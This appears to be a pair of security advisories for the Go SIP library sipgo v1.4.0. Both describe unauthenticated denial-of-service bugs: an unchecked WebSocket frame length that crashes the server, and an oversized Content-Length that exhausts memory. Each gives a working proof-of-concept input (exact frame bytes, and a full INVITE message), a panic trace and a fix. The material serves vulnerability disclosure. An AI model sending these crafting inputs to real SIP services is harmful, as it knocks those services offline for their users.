Summary
The WebSocket transport allocates a buffer from the frame payload length before validating its size, which can lead to an unauthenticated DoS.
Details
WSConnection.Read allocates a buffer from the declared WebSocket frame length before reading the payload (https://github.com/emiago/sipgo/blob/v1.4.0/sip/transportws.go#L400):
go data := make([]byte, header.Length) // header.Length is client-controlled, up to 2^63-1 (int64)
- NextFrame() reads only the frame header and never checks the length: wsutil.NewReader is created with no MaxFrameSize (0 = unlimited). ParseMaxMessageLength applies only downstream, not here. - A value above the max slice size (e.g. 2^63-1) panics make. sipgo does not recover from this panic, so it crashes the whole server process.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
After a normal WebSocket handshake, send one masked text frame consisting of the header only (no payload), declaring a huge length. The allocation runs as soon as the header is read.
0x81 FIN + text opcode 0xFF MASK bit + length marker 127 (8-byte length follows) 0x7F FF FF FF FF FF FF FF declared length = 2^63-1 -> make panics (crash) <4-byte masking key> (no payload)
This crashes the server process:
panic: runtime error: makeslice: len out of range
goroutine 23 [running]: github.com/emiago/sipgo/sip.(WSConnection).Read(...) /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transportws.go:400 +0x2df github.com/emiago/sipgo/sip.(TransportWS).readConnection(...) /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transportws.go:194 +0x266 created by github.com/emiago/sipgo/sip.(TransportWS).initConnection in goroutine 21 /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transportws.go:167 +0x268
Suggested Fix
Set MaxFrameSize on the wsutil.NewReader.
Impact
Unauthenticated DoS. Any service using sipgo with a WS/WSS transport can be crashed by a single frame (panic), or forced to run out of memory.
Summary
The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
Details
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parserstream.go#L195):
go body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parserstream.go#L132), and only runs after parseSingle has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:victim@example.com SIP/2.0 Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1 From: <sip:attacker@attacker.example>;tag=1 To: <sip:victim@example.com> Call-ID: 1@attacker.example CSeq: 1 INVITE Content-Length: 4000000000 // <- a large Content-Length
Suggested Fix
Validate contentLength against ParseMaxMessageLength before the allocation.
Impact
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.